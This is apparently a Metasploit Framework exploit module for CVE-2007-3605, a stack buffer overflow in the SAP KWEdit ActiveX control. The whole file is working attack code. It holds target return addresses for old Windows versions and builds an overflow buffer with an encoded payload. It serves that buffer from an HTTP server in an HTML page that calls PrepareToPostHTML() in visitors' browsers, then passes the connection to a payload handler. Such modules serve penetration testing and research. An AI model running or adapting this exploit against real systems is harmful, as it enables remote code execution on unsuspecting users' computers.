metasploit-framework/modules/exploits/windows/browser/enjoysapgui_preparetopostht...

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
super(update_info(info,
'Name' => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SAP KWEdit ActiveX
Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending
an overly long string to the "PrepareToPostHTML()" method, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2007-3605' ],
[ 'OSVDB', '37690' ],
[ 'BID', '24772' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
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],
'DisclosureDate' => 'Jul 05 2007',
'DefaultTarget' => 0))
end
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def autofilter
false
end
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def check_dependencies
use_zlib
end
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def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
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# Build the exploit buffer
sploit = rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)
sploit << make_nops(2) + [target.ret].pack('V') + p.encoded
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# Build out the message
content = %Q|<html>
<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.PrepareToPostHTML(#{strname})
</script>
</html>
|
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print_status("Sending #{self.name}")
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# Transmit the response to the client
send_response_html(cli, content)
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# Handle the payload
handler(cli)
end
end